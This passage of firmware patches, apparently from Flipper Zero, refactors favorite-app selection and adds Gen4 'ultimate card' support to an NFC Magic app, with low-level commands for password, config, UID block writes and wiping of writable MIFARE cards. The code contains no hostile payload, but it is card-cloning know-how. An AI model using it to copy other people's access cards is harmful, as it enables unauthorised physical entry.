desktop_settings_scene_favorite_submenu_callback, + app); + if(curr_favorite_app->is_external) { + pre_select_item = EXTERNAL_APPLICATION_INDEX; + } +#endif + submenu_set_header( submenu, primary_favorite ? "Primary favorite app:" : "Secondary favorite app:"); submenu_set_selected_item(submenu, pre_select_item); // If set during loop, visual glitch. @@ -82,23 +91,11 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e uint32_t primary_favorite = scene_manager_get_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite); + FavoriteApp* curr_favorite_app = primary_favorite ? &app->settings.favorite_primary : + &app->settings.favorite_secondary; if(event.type == SceneManagerEventTypeCustom) { - if(strcmp(FLIPPER_APPS[event.event].name, FAP_LOADER_APP_NAME) != 0) { - if(primary_favorite) { - app->settings.favorite_primary.is_external = false; - strncpy( - app->settings.favorite_primary.name_or_path, - FLIPPER_APPS[event.event].name, - MAX_APP_LENGTH); - } else { - app->settings.favorite_secondary.is_external = false; - strncpy( - app->settings.favorite_secondary.name_or_path, - FLIPPER_APPS[event.event].name, - MAX_APP_LENGTH); - } - } else { + if(event.event == EXTERNAL_APPLICATION_INDEX) { const DialogsFileBrowserOptions browser_options = { .extension = ".fap", .icon = &I_unknown_10px, @@ -109,36 +106,29 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e .base_path = EXT_PATH("apps"), }; - if(primary_favorite) { // Select favorite fap in file browser - if(favorite_fap_selector_file_exists( - app->settings.favorite_primary.name_or_path)) { - furi_string_set_str(temp_path, app->settings.favorite_primary.name_or_path); - } - } else { - if(favorite_fap_selector_file_exists( - app->settings.favorite_secondary.name_or_path)) { - furi_string_set_str(temp_path, app->settings.favorite_secondary.name_or_path); - } + // Select favorite fap in file browser + if(favorite_fap_selector_file_exists(curr_favorite_app->name_or_path)) { + furi_string_set_str(temp_path, curr_favorite_app->name_or_path); } - submenu_reset(app->submenu); if(dialog_file_browser_show(app->dialogs, temp_path, temp_path, &browser_options)) { - if(primary_favorite) { - app->settings.favorite_primary.is_external = true; - strncpy( - app->settings.favorite_primary.name_or_path, - furi_string_get_cstr(temp_path), - MAX_APP_LENGTH); - } else { - app->settings.favorite_secondary.is_external = true; - strncpy( - app->settings.favorite_secondary.name_or_path, - furi_string_get_cstr(temp_path), - MAX_APP_LENGTH); - } + submenu_reset(app->submenu); // Prevent menu from being shown when we exiting scene + curr_favorite_app->is_external = true; + strncpy( + curr_favorite_app->name_or_path, + furi_string_get_cstr(temp_path), + MAX_APP_LENGTH); + consumed = true; } + } else { + curr_favorite_app->is_external = false; + strncpy( + curr_favorite_app->name_or_path, FLIPPER_APPS[event.event].name, MAX_APP_LENGTH); + consumed = true; } - scene_manager_previous_scene(app->scene_manager); + if(consumed) { + scene_manager_previous_scene(app->scene_manager); + }; consumed = true; } From 490447bbd482126063bce3e5378198365b580963 Mon Sep 17 00:00:00 2001 From: Avery <30564701+nullableVoidPtr@users.noreply.github.com> Date: Fri, 26 May 2023 03:01:02 +1000 Subject: [PATCH 047/100] NFC: Add support for Gen4 "ultimate card" in Magic app (#2238) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * NFC: gen4 gtu detect in magic app * NFC: more support for GTU card * NFC: Fix Gen1 in Magic * Allow double UIDs for MFClassic on GTU cards * NFC: Small magic app tweaks * nfc magic: notify card event on wiping * nfc magic: fix power consumption * nfc magic: disable i2c writing and fix wipe loop * NfcMagic: correct formatting in printf * NfcMagic: correct formatting in printf, proper version * nfc_magic: rework card found notification and gen4 wiping Co-authored-by: あく --- .../nfc_magic/lib/magic/classic_gen1.c | 175 ++++++++ .../nfc_magic/lib/magic/classic_gen1.h | 13 + .../external/nfc_magic/lib/magic/common.c | 33 ++ .../external/nfc_magic/lib/magic/common.h | 19 + .../external/nfc_magic/lib/magic/gen4.c | 199 ++++++++++ .../external/nfc_magic/lib/magic/gen4.h | 48 +++ .../external/nfc_magic/lib/magic/magic.c | 52 +-- .../external/nfc_magic/lib/magic/magic.h | 15 - .../external/nfc_magic/lib/magic/types.c | 23 ++ .../external/nfc_magic/lib/magic/types.h | 5 + applications/external/nfc_magic/nfc_magic.c | 22 +- applications/external/nfc_magic/nfc_magic.h | 2 + applications/external/nfc_magic/nfc_magic_i.h | 20 +- .../external/nfc_magic/nfc_magic_worker.c | 372 +++++++++++++++--- .../external/nfc_magic/nfc_magic_worker.h | 4 + .../external/nfc_magic/nfc_magic_worker_i.h | 5 + .../scenes/nfc_magic_scene_actions.c | 50 +++ .../nfc_magic/scenes/nfc_magic_scene_check.c | 4 +- .../nfc_magic/scenes/nfc_magic_scene_config.h | 6 + .../scenes/nfc_magic_scene_file_select.c | 60 ++- .../scenes/nfc_magic_scene_gen4_actions.c | 70 ++++ .../scenes/nfc_magic_scene_key_input.c | 45 +++ .../scenes/nfc_magic_scene_magic_info.c | 14 + .../scenes/nfc_magic_scene_new_key_input.c | 45 +++ .../nfc_magic/scenes/nfc_magic_scene_rekey.c | 95 +++++ .../scenes/nfc_magic_scene_rekey_fail.c | 50 +++ .../nfc_magic/scenes/nfc_magic_scene_start.c | 25 +- .../nfc_magic/scenes/nfc_magic_scene_wipe.c | 11 +- .../nfc_magic/scenes/nfc_magic_scene_write.c | 11 +- .../scenes/nfc_magic_scene_wrong_card.c | 2 +- 30 files changed, 1345 insertions(+), 150 deletions(-) create mode 100644 applications/external/nfc_magic/lib/magic/classic_gen1.c create mode 100644 applications/external/nfc_magic/lib/magic/classic_gen1.h create mode 100644 applications/external/nfc_magic/lib/magic/common.c create mode 100644 applications/external/nfc_magic/lib/magic/common.h create mode 100644 applications/external/nfc_magic/lib/magic/gen4.c create mode 100644 applications/external/nfc_magic/lib/magic/gen4.h delete mode 100644 applications/external/nfc_magic/lib/magic/magic.h create mode 100644 applications/external/nfc_magic/lib/magic/types.c create mode 100644 applications/external/nfc_magic/lib/magic/types.h create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c create mode 100644 applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.c b/applications/external/nfc_magic/lib/magic/classic_gen1.c new file mode 100644 index 000000000..ebd2b0805 --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/classic_gen1.c @@ -0,0 +1,175 @@ +#include "classic_gen1.h" + +#include + +#define TAG "Magic" + +#define MAGIC_CMD_WUPA (0x40) +#define MAGIC_CMD_WIPE (0x41) +#define MAGIC_CMD_ACCESS (0x43) + +#define MAGIC_MIFARE_READ_CMD (0x30) +#define MAGIC_MIFARE_WRITE_CMD (0xA0) + +#define MAGIC_ACK (0x0A) + +#define MAGIC_BUFFER_SIZE (32) + +bool magic_gen1_wupa() { + bool magic_activated = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + // Start communication + tx_data[0] = MAGIC_CMD_WUPA; + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 7, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnIncompleteByte) break; + if(rx_len != 4) break; + if(rx_data[0] != MAGIC_ACK) break; + magic_activated = true; + } while(false); + + return magic_activated; +} + +bool magic_gen1_data_access_cmd() { + bool write_cmd_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + tx_data[0] = MAGIC_CMD_ACCESS; + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 8, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnIncompleteByte) break; + if(rx_len != 4) break; + if(rx_data[0] != MAGIC_ACK) break; + + write_cmd_success = true; + } while(false); + + return write_cmd_success; +} + +bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data) { + furi_assert(data); + + bool read_success = false; + + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + tx_data[0] = MAGIC_MIFARE_READ_CMD; + tx_data[1] = block_num; + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 2 * 8, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON, + furi_hal_nfc_ll_ms2fc(20)); + + if(ret != FuriHalNfcReturnOk) break; + if(rx_len != 16 * 8) break; + memcpy(data->value, rx_data, sizeof(data->value)); + read_success = true; + } while(false); + + return read_success; +} + +bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data) { + furi_assert(data); + + bool write_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + tx_data[0] = MAGIC_MIFARE_WRITE_CMD; + tx_data[1] = block_num; + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 2 * 8, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnIncompleteByte) break; + if(rx_len != 4) break; + if(rx_data[0] != MAGIC_ACK) break; + + memcpy(tx_data, data->value, sizeof(data->value)); + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 16 * 8, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnIncompleteByte) break; + if(rx_len != 4) break; + if(rx_data[0] != MAGIC_ACK) break; + + write_success = true; + } while(false); + + return write_success; +} + +bool magic_gen1_wipe() { + bool wipe_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + tx_data[0] = MAGIC_CMD_WIPE; + ret = furi_hal_nfc_ll_txrx_bits( + tx_data, + 8, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | + FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP, + furi_hal_nfc_ll_ms2fc(2000)); + + if(ret != FuriHalNfcReturnIncompleteByte) break; + if(rx_len != 4) break; + if(rx_data[0] != MAGIC_ACK) break; + + wipe_success = true; + } while(false); + + return wipe_success; +} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/classic_gen1.h b/applications/external/nfc_magic/lib/magic/classic_gen1.h new file mode 100644 index 000000000..6d4ff6dcd --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/classic_gen1.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +bool magic_gen1_wupa(); + +bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data); + +bool magic_gen1_data_access_cmd(); + +bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data); + +bool magic_gen1_wipe(); \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/common.c b/applications/external/nfc_magic/lib/magic/common.c new file mode 100644 index 000000000..0ea3cb218 --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/common.c @@ -0,0 +1,33 @@ +#include "common.h" + +#include + +#define REQA (0x26) +#define CL1_PREFIX (0x93) +#define SELECT (0x70) + +#define MAGIC_BUFFER_SIZE (32) + +bool magic_activate() { + FuriHalNfcReturn ret = 0; + + // Setup nfc poller + furi_hal_nfc_exit_sleep(); + furi_hal_nfc_ll_txrx_on(); + furi_hal_nfc_ll_poll(); + ret = furi_hal_nfc_ll_set_mode( + FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106); + if(ret != FuriHalNfcReturnOk) return false; + + furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); + furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); + furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); + furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); + + return true; +} + +void magic_deactivate() { + furi_hal_nfc_ll_txrx_off(); + furi_hal_nfc_sleep(); +} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/common.h b/applications/external/nfc_magic/lib/magic/common.h new file mode 100644 index 000000000..bef166c8f --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/common.h @@ -0,0 +1,19 @@ +#pragma once + +#include +#include + +typedef enum { + MagicTypeClassicGen1, + MagicTypeClassicDirectWrite, + MagicTypeClassicAPDU, + MagicTypeUltralightGen1, + MagicTypeUltralightDirectWrite, + MagicTypeUltralightC_Gen1, + MagicTypeUltralightC_DirectWrite, + MagicTypeGen4, +} MagicType; + +bool magic_activate(); + +void magic_deactivate(); \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.c b/applications/external/nfc_magic/lib/magic/gen4.c new file mode 100644 index 000000000..31be649a0 --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/gen4.c @@ -0,0 +1,199 @@ +#include "gen4.h" + +#include +#include + +#define TAG "Magic" + +#define MAGIC_CMD_PREFIX (0xCF) + +#define MAGIC_CMD_GET_CFG (0xC6) +#define MAGIC_CMD_WRITE (0xCD) +#define MAGIC_CMD_READ (0xCE) +#define MAGIC_CMD_SET_CFG (0xF0) +#define MAGIC_CMD_FUSE_CFG (0xF1) +#define MAGIC_CMD_SET_PWD (0xFE) + +#define MAGIC_BUFFER_SIZE (40) + +const uint8_t MAGIC_DEFAULT_CONFIG[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x09, 0x78, 0x00, 0x91, 0x02, 0xDA, 0xBC, 0x19, 0x10, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x04, 0x00, 0x08, 0x00 +}; + +const uint8_t MAGIC_DEFAULT_BLOCK0[] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +const uint8_t MAGIC_EMPTY_BLOCK[16] = { 0 }; + +const uint8_t MAGIC_DEFAULT_SECTOR_TRAILER[] = { + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x80, 0x69, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF +}; + +static bool magic_gen4_is_block_num_trailer(uint8_t n) { + n++; + if (n < 32 * 4) { + return (n % 4 == 0); + } + + return (n % 16 == 0); +} + +bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config) { + bool is_valid_config_len = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + // Start communication + tx_data[0] = MAGIC_CMD_PREFIX; + tx_data[1] = (uint8_t)(pwd >> 24); + tx_data[2] = (uint8_t)(pwd >> 16); + tx_data[3] = (uint8_t)(pwd >> 8); + tx_data[4] = (uint8_t)pwd; + tx_data[5] = MAGIC_CMD_GET_CFG; + ret = furi_hal_nfc_ll_txrx( + tx_data, + 6, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_TXRX_DEFAULT, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnOk) break; + if(rx_len != 30 && rx_len != 32) break; + memcpy(config, rx_data, rx_len); + is_valid_config_len = true; + } while(false); + + return is_valid_config_len; +} + +bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse) { + bool write_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + // Start communication + tx_data[0] = MAGIC_CMD_PREFIX; + tx_data[1] = (uint8_t)(pwd >> 24); + tx_data[2] = (uint8_t)(pwd >> 16); + tx_data[3] = (uint8_t)(pwd >> 8); + tx_data[4] = (uint8_t)pwd; + tx_data[5] = fuse ? MAGIC_CMD_FUSE_CFG : MAGIC_CMD_SET_CFG; + memcpy(tx_data + 6, config, config_length); + ret = furi_hal_nfc_ll_txrx( + tx_data, + 6 + config_length, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_TXRX_DEFAULT, + furi_hal_nfc_ll_ms2fc(20)); + if(ret != FuriHalNfcReturnOk) break; + if(rx_len != 2) break; + write_success = true; + } while(false); + + return write_success; +} + +bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd) { + bool change_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + // Start communication + tx_data[0] = MAGIC_CMD_PREFIX; + tx_data[1] = (uint8_t)(old_pwd >> 24); + tx_data[2] = (uint8_t)(old_pwd >> 16); + tx_data[3] = (uint8_t)(old_pwd >> 8); + tx_data[4] = (uint8_t)old_pwd; + tx_data[5] = MAGIC_CMD_SET_PWD; + tx_data[6] = (uint8_t)(new_pwd >> 24); + tx_data[7] = (uint8_t)(new_pwd >> 16); + tx_data[8] = (uint8_t)(new_pwd >> 8); + tx_data[9] = (uint8_t)new_pwd; + ret = furi_hal_nfc_ll_txrx( + tx_data, + 10, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_TXRX_DEFAULT, + furi_hal_nfc_ll_ms2fc(20)); + FURI_LOG_I(TAG, "ret %d, len %d", ret, rx_len); + if(ret != FuriHalNfcReturnOk) break; + if(rx_len != 2) break; + change_success = true; + } while(false); + + return change_success; +} + +bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data) { + bool write_success = false; + uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; + uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; + uint16_t rx_len = 0; + FuriHalNfcReturn ret = 0; + + do { + // Start communication + tx_data[0] = MAGIC_CMD_PREFIX; + tx_data[1] = (uint8_t)(pwd >> 24); + tx_data[2] = (uint8_t)(pwd >> 16); + tx_data[3] = (uint8_t)(pwd >> 8); + tx_data[4] = (uint8_t)pwd; + tx_data[5] = MAGIC_CMD_WRITE; + tx_data[6] = block_num; + memcpy(tx_data + 7, data, 16); + ret = furi_hal_nfc_ll_txrx( + tx_data, + 23, + rx_data, + sizeof(rx_data), + &rx_len, + FURI_HAL_NFC_TXRX_DEFAULT, + furi_hal_nfc_ll_ms2fc(200)); + if(ret != FuriHalNfcReturnOk) break; + if(rx_len != 2) break; + write_success = true; + } while(false); + + return write_success; +} + +bool magic_gen4_wipe(uint32_t pwd) { + if(!magic_gen4_set_cfg(pwd, MAGIC_DEFAULT_CONFIG, sizeof(MAGIC_DEFAULT_CONFIG), false)) { + FURI_LOG_E(TAG, "Set config failed"); + return false; + } + if(!magic_gen4_write_blk(pwd, 0, MAGIC_DEFAULT_BLOCK0)) { + FURI_LOG_E(TAG, "Block 0 write failed"); + return false; + } + for(size_t i = 1; i < 64; i++) { + const uint8_t* block = magic_gen4_is_block_num_trailer(i) ? MAGIC_DEFAULT_SECTOR_TRAILER : MAGIC_EMPTY_BLOCK; + if(!magic_gen4_write_blk(pwd, i, block)) { + FURI_LOG_E(TAG, "Block %d write failed", i); + return false; + } + } + for(size_t i = 65; i < 256; i++) { + if(!magic_gen4_write_blk(pwd, i, MAGIC_EMPTY_BLOCK)) { + FURI_LOG_E(TAG, "Block %d write failed", i); + return false; + } + } + + return true; +} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/gen4.h b/applications/external/nfc_magic/lib/magic/gen4.h new file mode 100644 index 000000000..c515af820 --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/gen4.h @@ -0,0 +1,48 @@ +#pragma once + +#include + +#define MAGIC_GEN4_DEFAULT_PWD 0x00000000 +#define MAGIC_GEN4_CONFIG_LEN 32 + +#define NFCID1_SINGLE_SIZE 4 +#define NFCID1_DOUBLE_SIZE 7 +#define NFCID1_TRIPLE_SIZE 10 + +typedef enum { + MagicGen4UIDLengthSingle = 0x00, + MagicGen4UIDLengthDouble = 0x01, + MagicGen4UIDLengthTriple = 0x02 +} MagicGen4UIDLength; + +typedef enum { + MagicGen4UltralightModeUL_EV1 = 0x00, + MagicGen4UltralightModeNTAG = 0x01, + MagicGen4UltralightModeUL_C = 0x02, + MagicGen4UltralightModeUL = 0x03 +} MagicGen4UltralightMode; + +typedef enum { + // for writing original (shadow) data + MagicGen4ShadowModePreWrite = 0x00, + // written data can be read once before restored to original + MagicGen4ShadowModeRestore = 0x01, + // written data is discarded + MagicGen4ShadowModeIgnore = 0x02, + // apparently for UL? + MagicGen4ShadowModeHighSpeedIgnore = 0x03 +} MagicGen4ShadowMode; + +bool magic_gen4_get_cfg(uint32_t pwd, uint8_t* config); + +bool magic_gen4_set_cfg(uint32_t pwd, const uint8_t* config, uint8_t config_length, bool fuse); + +bool magic_gen4_set_pwd(uint32_t old_pwd, uint32_t new_pwd); + +bool magic_gen4_read_blk(uint32_t pwd, uint8_t block_num, uint8_t* data); + +bool magic_gen4_write_blk(uint32_t pwd, uint8_t block_num, const uint8_t* data); + +bool magic_gen4_wipe(uint32_t pwd); + +void magic_gen4_deactivate(); diff --git a/applications/external/nfc_magic/lib/magic/magic.c b/applications/external/nfc_magic/lib/magic/magic.c index 9a71daaa0..ebd2b0805 100644 --- a/applications/external/nfc_magic/lib/magic/magic.c +++ b/applications/external/nfc_magic/lib/magic/magic.c @@ -1,4 +1,4 @@ -#include "magic.h" +#include "classic_gen1.h" #include @@ -15,7 +15,7 @@ #define MAGIC_BUFFER_SIZE (32) -bool magic_wupa() { +bool magic_gen1_wupa() { bool magic_activated = false; uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; @@ -23,19 +23,6 @@ bool magic_wupa() { FuriHalNfcReturn ret = 0; do { - // Setup nfc poller - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_ll_poll(); - ret = furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106); - if(ret != FuriHalNfcReturnOk) break; - - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); - // Start communication tx_data[0] = MAGIC_CMD_WUPA; ret = furi_hal_nfc_ll_txrx_bits( @@ -53,15 +40,10 @@ bool magic_wupa() { magic_activated = true; } while(false); - if(!magic_activated) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - } - return magic_activated; } -bool magic_data_access_cmd() { +bool magic_gen1_data_access_cmd() { bool write_cmd_success = false; uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; @@ -86,15 +68,10 @@ bool magic_data_access_cmd() { write_cmd_success = true; } while(false); - if(!write_cmd_success) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - } - return write_cmd_success; } -bool magic_read_block(uint8_t block_num, MfClassicBlock* data) { +bool magic_gen1_read_block(uint8_t block_num, MfClassicBlock* data) { furi_assert(data); bool read_success = false; @@ -122,15 +99,10 @@ bool magic_read_block(uint8_t block_num, MfClassicBlock* data) { read_success = true; } while(false); - if(!read_success) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - } - return read_success; } -bool magic_write_blk(uint8_t block_num, MfClassicBlock* data) { +bool magic_gen1_write_blk(uint8_t block_num, MfClassicBlock* data) { furi_assert(data); bool write_success = false; @@ -170,15 +142,10 @@ bool magic_write_blk(uint8_t block_num, MfClassicBlock* data) { write_success = true; } while(false); - if(!write_success) { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - } - return write_success; } -bool magic_wipe() { +bool magic_gen1_wipe() { bool wipe_success = false; uint8_t tx_data[MAGIC_BUFFER_SIZE] = {}; uint8_t rx_data[MAGIC_BUFFER_SIZE] = {}; @@ -205,9 +172,4 @@ bool magic_wipe() { } while(false); return wipe_success; -} - -void magic_deactivate() { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_sleep(); -} +} \ No newline at end of file diff --git a/applications/external/nfc_magic/lib/magic/magic.h b/applications/external/nfc_magic/lib/magic/magic.h deleted file mode 100644 index 64c60a0a7..000000000 --- a/applications/external/nfc_magic/lib/magic/magic.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -bool magic_wupa(); - -bool magic_read_block(uint8_t block_num, MfClassicBlock* data); - -bool magic_data_access_cmd(); - -bool magic_write_blk(uint8_t block_num, MfClassicBlock* data); - -bool magic_wipe(); - -void magic_deactivate(); diff --git a/applications/external/nfc_magic/lib/magic/types.c b/applications/external/nfc_magic/lib/magic/types.c new file mode 100644 index 000000000..77c6c0a4e --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/types.c @@ -0,0 +1,23 @@ +#include "types.h" + +const char* nfc_magic_type(MagicType type) { + if(type == MagicTypeClassicGen1) { + return "Classic Gen 1A/B"; + } else if(type == MagicTypeClassicDirectWrite) { + return "Classic DirectWrite"; + } else if(type == MagicTypeClassicAPDU) { + return "Classic APDU"; + } else if(type == MagicTypeUltralightGen1) { + return "Ultralight Gen 1"; + } else if(type == MagicTypeUltralightDirectWrite) { + return "Ultralight DirectWrite"; + } else if(type == MagicTypeUltralightC_Gen1) { + return "Ultralight-C Gen 1"; + } else if(type == MagicTypeUltralightC_DirectWrite) { + return "Ultralight-C DirectWrite"; + } else if(type == MagicTypeGen4) { + return "Gen 4 GTU"; + } else { + return "Unknown"; + } +} diff --git a/applications/external/nfc_magic/lib/magic/types.h b/applications/external/nfc_magic/lib/magic/types.h new file mode 100644 index 000000000..dbf554063 --- /dev/null +++ b/applications/external/nfc_magic/lib/magic/types.h @@ -0,0 +1,5 @@ +#pragma once + +#include "common.h" + +const char* nfc_magic_type(MagicType type); \ No newline at end of file diff --git a/applications/external/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c index 1805f35ed..68c9a65b5 100644 --- a/applications/external/nfc_magic/nfc_magic.c +++ b/applications/external/nfc_magic/nfc_magic.c @@ -48,8 +48,9 @@ NfcMagic* nfc_magic_alloc() { nfc_magic->view_dispatcher, nfc_magic_tick_event_callback, 100); // Nfc device - nfc_magic->nfc_dev = nfc_device_alloc(); - furi_string_set(nfc_magic->nfc_dev->folder, NFC_APP_FOLDER); + nfc_magic->dev = malloc(sizeof(NfcMagicDevice)); + nfc_magic->source_dev = nfc_device_alloc(); + furi_string_set(nfc_magic->source_dev->folder, NFC_APP_FOLDER); // Open GUI record nfc_magic->gui = furi_record_open(RECORD_GUI); @@ -81,6 +82,13 @@ NfcMagic* nfc_magic_alloc() { NfcMagicViewTextInput, text_input_get_view(nfc_magic->text_input)); + // Byte Input + nfc_magic->byte_input = byte_input_alloc(); + view_dispatcher_add_view( + nfc_magic->view_dispatcher, + NfcMagicViewByteInput, + byte_input_get_view(nfc_magic->byte_input)); + // Custom Widget nfc_magic->widget = widget_alloc(); view_dispatcher_add_view( @@ -93,7 +101,8 @@ void nfc_magic_free(NfcMagic* nfc_magic) { furi_assert(nfc_magic); // Nfc device - nfc_device_free(nfc_magic->nfc_dev); + free(nfc_magic->dev); + nfc_device_free(nfc_magic->source_dev); // Submenu view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); @@ -107,10 +116,14 @@ void nfc_magic_free(NfcMagic* nfc_magic) { view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewLoading); loading_free(nfc_magic->loading); - // TextInput + // Text Input view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewTextInput); 